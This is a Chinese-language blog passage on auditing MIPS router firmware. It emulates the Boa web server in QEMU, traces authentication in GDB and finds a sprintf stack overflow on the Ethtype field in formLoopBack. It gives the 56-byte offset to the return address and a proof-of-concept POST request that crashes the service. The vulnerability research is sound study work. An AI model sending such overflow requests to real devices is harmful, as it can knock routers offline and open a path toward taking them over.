  2. set endian big 设置字节序为 大端 (big‑endian)。 大部分路由器 MIPS 固件是大端;mipsel 小端固件改成 set endian little。 影响内存、寄存器数据的显示。
  3. set sysroot /home/expl0rer/iot-debug/rootfs_extracted 指定固件解压后的根文件系统路径。 QEMU 远程调试时,GDB 要靠这个路径去找固件里的.so动态库;路径错了共享库符号全部看不到,栈里很多值显示???
  4. set auto‑solib‑add off 关闭自动加载所有共享库。 如果打开 (on),GDB 一连接 QEMU 就会扫描 sysroot 下全部 so 文件,非常卡顿。 需要看某个库符号的时候手动:sharedlibrary libxxx.so

接着就是下断点:

  1. break *<auth_authorize地址>
  2. continue

Burp Repeater 中使用:

1
2
3
4
5
POST /boaform/formSysCmd HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close

点击发送,请求发出后,GDB 应停在:Breakpoint ..., 0x00419390

此时Gdb已经有反应了,弹出Gdb界面了。

用指令:x/s $a0+0xf8

  • 取寄存器$a0里面的地址值,向后偏移 0xf8 字节,把该内存位置当作字符串输出。

确认 Burp 发出的这个请求命中了 auth_authorize()。(需要 c 多次是因为浏览器还在自动请求登录页或资源,每个请求都可能经过 auth_authorize(),我这C了3次。)

GDB 命中 auth_authorize @ 0x419390

$a0 + 0xf8 = "/boaform

请求命中了 auth_authorize(),且当前请求 URI 正确”,还不能单独证明“命中了认证规则节点

通过 QEMU-GDB 动态调试确认,发送的 POST /boaform/formSysCmd 请求进入了auth_authorize(),并且请求结构中的 URI 字段确认为 /boaform/formSysCmd

对于/boaform/formSysCmd 是否命中认证规则链,看auth_authorize()函数内观察:

1
2
3
4
5
6
7
v2 = dword_52C230;

for (...; v2; v2 = v2->next)
{
    if (!memcmp(uri, v2->path, v2->length))
        break;
}

至少要确认规则链表头非空、遍历过程中存在匹配节点、匹配节点的规则前缀是什么。

现在要看是否进入 formSysCmd的handler。

还没对formSysCmd进行断点呢:break *0x456578

然后C继续Gdb调试,再用Burpsuite的重发器再一次发包。

禁用前边的断点,然后C到formSysCmd函数的地址处:

你就发现能进入这个本地了:

看到登录界面说明:

  1. Boa 服务已成功启动,端口 8080 可访问。
  2. 浏览器请求已经到达 Web 服务。
  3. 当前请求被认证逻辑拦截,尚未进入需要分析的后台处理流程。
  4. 之前看到的 $a0+0xf8/boaform/formSysCmd,只说明路由表正在处理该路径,不代表已经进入 0x456578 handler。

回去Burpsuite发送请求,接着让当前请求结束,按Ctrl + C:

在第一个断点这已经得知了这次请求没有进入 formSysCmd handler

试了好多次都这样

现在就是看第二个断点的命中次数,但我这试了几次发现没啥反应,一直卡着^C的回显,我一直尝试中断,但远程 QEMU 没及时响应。

在这里,已经知道:

  1. auth_authorize() 命中
  2. URI = /boaform/formSysCmd
  3. $v0 = 0
  4. 0x41591c: bnez $v0, 0x415944

因为 $v0 == 0,所以不跳转走:0x415924 → 0x41593c → 0x4159e0

同时 Burp 返回:

1
2
3
4
HTTP/0.9 1337 No response headers received

<HTML><HEAD><TITLE>Login</TITLE><SCRIPT>top.location.href="/admin/login.asp"</SCRIPT></HEAD>
<BODY></BODY></HTML>

可判断:未认证请求被拒绝、未进入 formSysCmd handler

到这里,这一个路径就验证完了,还剩下九个(其实远不止,还有一百多个...):

  1. formSysCmd(×)
  2. formPing
  3. formTracert
  4. formUpload
  5. formUploadConfig
  6. formReboot
  7. formLoopBack
  8. formSetScheduledReboot
  9. formWanMode
  10. formRouting

代码审计②

这部分开始有一定的正反馈了,看到IOT-PWN的栈溢出漏洞的影子了,但同时需要一定的Web基础,对于纯CTFpwn入手的我有点力不从心,花了一点时间学习Burpsuite的使用。

这太复杂了,我选择停下进度,换另一条路,我多搜索一些危险函数,这时我通过sprintf函数找到一丝丝漏洞线索,IDA视图选项:

sprintf地址:0x54eee8

看汇编:

对此进行交叉引用找上头调用它的地方。

跳到了formLoopBack函数:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
int __fastcall formLoopBack(int a1)
{
  char v2; // $t8
  int v3; // $v0
  _BYTE *Var; // $v0
  int v5; // $v0
  _BYTE *v6; // $v0
  const char *v7; // $v0
  int v8; // $v0
  _BYTE *v9; // $v0
  _BYTE *v10; // $v0
  int i; // $s2
  unsigned int n0xFFF; // $v0
  __int16 n0xFFF_1; // $s4
  int v14; // $v0
  _BYTE *v15; // $v0
  const char *v17; // $s1
  const char *v18; // $v0
  char v19[100]; // [sp+18h] [-80h] BYREF
  _BYTE v20[8]; // [sp+7Ch] [-1Ch] BYREF
  int n300; // [sp+84h] [-14h] BYREF
  int n10; // [sp+88h] [-10h] BYREF
  __int16 n300_1; // [sp+8Ch] [-Ch] BYREF
  __int16 n0xFFF_2; // [sp+90h] [-8h] BYREF
  _BYTE v25[6]; // [sp+92h] [-6h] BYREF

  n10 = 10;
  n300 = 300;
  n300_1 = 300;
  if ( *(_BYTE *)boaGetVar(a1, "apply", "") )
  {
    v2 = *(_BYTE *)boaGetVar(a1, "loopbackenable", "");
    if ( v2 )
    {
      v25[0] = v2 - 48;
      if ( !mib_set(366, v25) )
      {
        v3 = multilang(2019);
        sprintf(v19, "%s (LBD_ENABLE)", v3);
LABEL_19:
        boaHeader(a1);
        boaWrite(a1, "<head>");
        boaWrite(a1, "<meta http-equiv=Content-Type content=text/html charset=utf-8>\n");
        boaWrite(a1, "<script>");
        boaWrite(a1, "top.$(\"#mask\").css(\"display\",\"none\");");
        boaWrite(a1, "top.$(\"#saveTip\").css(\"display\",\"none\");");
        boaWrite(a1, "</script>\n</head>");
        boaWrite(a1, "<body><blockquote><h4>%s</h4>\n", v19);
        boaWrite(
          a1,
          "<form><input type=\"button\" onclick=\"window.location.href = document.referrer;\" value=\"&nbsp;&nbsp;OK&nbsp"
          ";&nbsp\" name=\"OK\"></form></blockquote></body>");
LABEL_32:
        boaFooter(a1);
        return ((int (__fastcall *)(int, int))boaDone)(a1, 200);
      }
    }
    Var = (_BYTE *)boaGetVar(a1, "DetectionFrameInterval", "");
    if ( *Var )
    {
      sscanf(Var, "%u", &n10);
      if ( !mib_set(367, &n10) )
      {
        v5 = multilang(2019);
        sprintf(v19, "%s (LBD_EXIST_PERIOD)", v5);
        goto LABEL_19;
      }
    }
    v6 = (_BYTE *)boaGetVar(a1, "RecoverFrameInterval", "");
    if ( *v6 && (sscanf(v6, "%u", &n300), !mib_set(368, &n300))
      || (v7 = (const char *)boaGetVar(a1, "Ethtype", ""), *v7)
      && (sprintf(v20, "0x%s", v7), n300_1 = strtol(v20, 0, 16), !mib_set(369, &n300_1)) )
    {
      v8 = multilang(2019);
      sprintf(v19, "%s (LBD_CANCEL_PERIOD)", v8);
      goto LABEL_19;
    }
    v9 = (_BYTE *)boaGetVar(a1, "VLANID", "");
    if ( *v9 )
    {
      v10 = (_BYTE *)strtok(v9, ",");
      if ( *v10 != 48 )
      {
        for ( i = 1; ; i = 0 )
        {
          n0xFFF = strtol(v10, 0, 10);
          n0xFFF_1 = n0xFFF;
          if ( n0xFFF >= 0xFFF )
            break;
          if ( i == 1 )
            mib_chain_clear(3093);
          n0xFFF_2 = n0xFFF_1;
          mib_chain_add(3093, &n0xFFF_2);
          v10 = (_BYTE *)strtok(0, ",");
          if ( !v10 )
            goto LABEL_25;
        }
        v14 = multilang(3014);
        strcpy(v19, v14);
        goto LABEL_19;
      }
      mib_chain_clear(3093);
      n0xFFF_2 = 0;
      mib_chain_add(3093, &n0xFFF_2);
    }
  }
LABEL_25:
  if ( *(_BYTE *)boaGetVar(a1, "refresh", "") )
  {
    v15 = (_BYTE *)boaGetVar(a1, "submit-url", "");
    if ( *v15 )
      return boaRedirect(a1, v15);
  }
  else
  {
    setupLBD();
    Commit();
    v17 = (const char *)boaGetVar(a1, "submit-url", "");
    if ( *v17 )
    {
      boaHeader(a1);
      boaWrite(a1, "<head>");
      boaWrite(
        a1,
        "<head><meta http-equiv=Content-Type content=text/html charset=utf-8><script src='/share.js'></script></head>\n");
      boaWrite(a1, "<script>");
      boaWrite(a1, "top.$(\"#mask\").css(\"display\",\"none\");");
      boaWrite(a1, "top.$(\"#saveTip\").css(\"display\",\"none\");");
      boaWrite(a1, "</script>\n</head>");
      v18 = (const char *)multilang(1793);
      boaWrite(a1, "<body><blockquote><h4>%s</h4>\n", v18);
      if ( *v17 )
        boaWrite(
          a1,
          "<form><input type=button value=\"  OK  \" OnClick=window.location.replace(\"%s\")></form></blockquote></body>",
          v17);
      else
        boaWrite(a1, "<form><input type=button value=\"  OK  \" OnClick=window.close()></form></blockquote></body>");
      goto LABEL_32;
    }
  }
  return ((int (__fastcall *)(int, int))boaDone)(a1, 200);
}

找到溢出点:

1
2
3
4
5
6
7
8
_BYTE v20[8];
...
v7 = (const char *)boaGetVar(a1, "Ethtype", "");
if (*v7)
{
    sprintf(v20, "0x%s", v7);   // ← 溢出点
    ...
}

v20 栈数组:[8] 最多存 7 个有效字符 + 1 字节\0结束符

sprintf 模板字符串:"0x%s"

  • 0x 固定占 2 字节
  • %s把用户的 Ethtype 字符串原样拷贝过来
  • 末尾自动补\0(1 字节)

留给用户输入的最大安全长度 = 8 − 2 −1 = 5 字节

用户 Ethtype 输入 sprintf 最终写到 v20 的完整字符串 结果
12345(5 字节) 0x12345\0 ,也就共 8 字节 刚好填满,安全
123456(6 字节) 0x123456\0 也就共 9 字节 写越界,溢出!

sprintf不会做任何长度检查,不管缓冲区多大,有多少字符就往内存写多少。

看到 sprintf(v20[8], "0x%s", boaGetVar("Ethtype")),确定这存在栈溢出漏洞。

C伪代码里的栈布局:

1
2
3
4
5
6
char v19[100];   // [sp+18h]
_BYTE v20[8];    // [sp+7Ch]   ← 溢出起点(8字节缓冲区)
int n300;        // [sp+84h]
int n10;         // [sp+88h]
...
// 下面是保存的寄存器 + 返回地址 $ra

偏移 = $ra 位置 - v20 位置 = 0xB4 - 0x7C = 0x38 = 56 字节

其实到这里,就恰好对应了代码审计①的那十个凭直觉去测的路径,果然其中一个formLoopBack恰好是满足条件:

  1. 在注册表里(是个 form handler) →formLoopBack
  2. 调用了危险 sink(sprintf)→formLoopBack
  3. sink 的源是用户输入 + 目标缓冲区小→sprintf(v20[8], "0x%s", Ethtype)

formLoopBack 栈溢出崩溃

如果对栈进行填充,那就是如下布局:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
v20[8]     ← 前8字节填入 "0xAAAAAA"
n300       ← 被 "AAAA" 覆盖
n10        ← 被 "AAAA" 覆盖
n300_1     ← 被 "AA" 覆盖
n0xFFF_2   ← 被 "AA" 覆盖
v25[6]     ← 被 "AAAAAA" 覆盖
saved $s0  ← 被覆盖
saved $s4  ← 被覆盖
... 
saved $ra  ← 被 "AAAA" 覆盖 → 函数返回时跳转到 0x41414141 → 崩溃!

先本地复现Web环境,然后我们尝试发包,使其溢出,如果Web网站Down了,那么就说明出现Error情况报错而崩溃了,进一步证实了栈溢出漏洞的存在了。

我这里是wsl2—Ubuntu24.04的环境。

先启动 Boa:

1
2
3
4
5
6
7
sudo chroot "$PWD/rootfs_extracted" \
  /qemu-mips-static \
  -g 1234 \
  /bin/boa \
  -d \
  -p 8080 \
  -c /web_home/httpd
  • -g 1234:等待 GDB 连接;
  • -L rootfs_extracted:使用固件里的 MIPS 动态链接器和库;
  • rootfs_extracted/bin/boa:运行目标程序。

记住要检查下端口是否被占用!

这个终端停住等待连接是正常的,表示正在等待 HTTP 请求,不要关闭。

接着另开一个 WSL 终端:

1
gdb-multiarch ./rootfs_extracted/bin/boa

GDB 中开启调试界面:

1
2
3
4
5
6
set architecture mips
set endian big
set sysroot /home/expl0rer/iot-debug/rootfs_extracted
set auto-solib-add off

target remote :1234
  1. set architecture mips 告诉 GDB,目标程序是 MIPS 架构。 如果不设置,GDB 会按你主机 x86 解析汇编,看到的全是乱码指令。
  2. set endian big 设置字节序为 大端 (big‑endian)。 大部分路由器 MIPS 固件是大端;mipsel 小端固件改成 set endian little。 影响内存、寄存器数据的显示。
  3. set sysroot /home/expl0rer/iot-debug/rootfs_extracted 指定固件解压后的根文件系统路径。 QEMU 远程调试时,GDB 要靠这个路径去找固件里的.so动态库;路径错了共享库符号全部看不到,栈里很多值显示???
  4. set auto‑solib‑add off 关闭自动加载所有共享库。 如果打开 (on),GDB 一连接 QEMU 就会扫描 sysroot 下全部 so 文件,非常卡顿。 需要看某个库符号的时候手动:sharedlibrary libxxx.so

接着就是下断点:

  1. break <formLoopBack的地址>(break *0x4443c0)
  2. continue

接着就是→ 发送 POST 请求 → 命中断点,开始看寄存器、看 A 的填充位置。

当前Web环境已经几乎复现出来了:

认证分析

但是话说回来,IOT固件程序这么庞大,找到漏洞后,怎么单走这个地方触发崩溃呢?

换句话说:"我怎么控制输入,让程序走到这个漏洞函数?"、"我发什么 HTTP 请求,才能让请求走到 formLoopBack?"

先捋一遍大致过程,从“谁调用 formLoopBack”开始,在代码审计①中可知,handleForm通过注册表指向formLoopBack的,而对于handleForm,handleForm被 init_form 调用:

到init_form:

它是经write_body调用,然后就是process_requests大的函数的调用:formLoopBack ← handleForm ← init_form ← process_requests,这个地方其实就像是代码审计①倒推回去了😄。

完整调用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
_ftext(主循环)0x40cc04
  └─ process_requests() 0x4153c0
       ├─ 分支1(处理 HTTP 头,先发生)
       │    read_header() 0x414528
       │      └─ process_header_end() 0x41578c
       │           └─ auth_authorize() 0x419390   ★ 认证在这
       └─ 分支2(处理 body,后发生)
            write_body() 0x414bfc
              └─ init_form() 0x4123a0
                   └─ handleForm() 0x41a700
                        └─ formLoopBack() 0x4443c0   ★ 溢出点在这

认证(auth_authorize)在 form 分发之前执行。 所以 formLoopBack 会不会被拦,取决于 auth_authorize 放不放行。

又回到auth_authorize函数的分析了,在 IDA 跳 0x419390,按 F5:

1
2
3
4
5
6
7
8
9
v2 = dword_52C230;          // 规则链
v3 = a1 + 248;              // 当前 URI
while (1) {
    if (!v2) return 1;              // 没匹配到规则 → 放行(免认证!)
    if (!memcmp(v3, *v2, v2[2]))    // URI 匹配规则前缀 → 停下查登录
        break;
    v2 = v2[3];
}
// 匹配到了 → 查登录 session → 没登录 → 重定向登录页

这就是之前的那个登陆界面了:

规则链 dword_52C230 是运行时从 boa.conf 的 Auth 指令读进来的:

去Burpsuite发包,可以发个一千多个A看一下是否出现溢出覆盖。

POC

1
2
3
4
5
6
7
POST /boaform/formLoopBack HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 1060
Connection: close

apply=1&loopbackenable=1&DetectionFrameInterval=10&Ethtype=0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

以下先放着

......

到这里小概括一下调用链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
主循环 _ftext()
  → select()
  → get_request()
  → process_requests()

HTTP 头处理:
  → read_header()
  → process_header_end()
      ├─ translate_uri()
      ├─ auth_authorize()
      └─ POST 请求:
           创建临时文件
           设置状态为 4

POST Body:
  → case 4: read_body()
      → 从 socket 读取 body
      → 更新已读取长度和指针
      → 设置状态 5

  → case 5: write_body()
      → 将 body 写入临时文件
      → body 未完成:返回 1,继续请求状态机
      → body 完成:
           init_form()

  → init_form()
      → 设置表单处理状态
      → complete_env()
      → fstat64()/lseek64()
      → handleForm()

  → handleForm()
      → 查找 /boaform/ 或 /boaform/admin/
      → 提取 form 名称
      → POST 条件下读取临时文件
      → 可选处理 postSecurityFlag
      → 遍历 root_form 链表
      → 匹配表单名称
      → 通过函数指针调用对应 handler
      → 发送成功响应
      → freeAllTempStr()

简化为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /boaform/formLoopBack
  → read_header
  → process_header_end
  → read_body
  → write_body
  → init_form
  → handleForm
  → root_form 查找 "formLoopBack"
  → formLoopBack handler
  → boaGetVar("Ethtype")
  → sprintf(v20, "0x%s", v7)
最后更新于 2026-09-06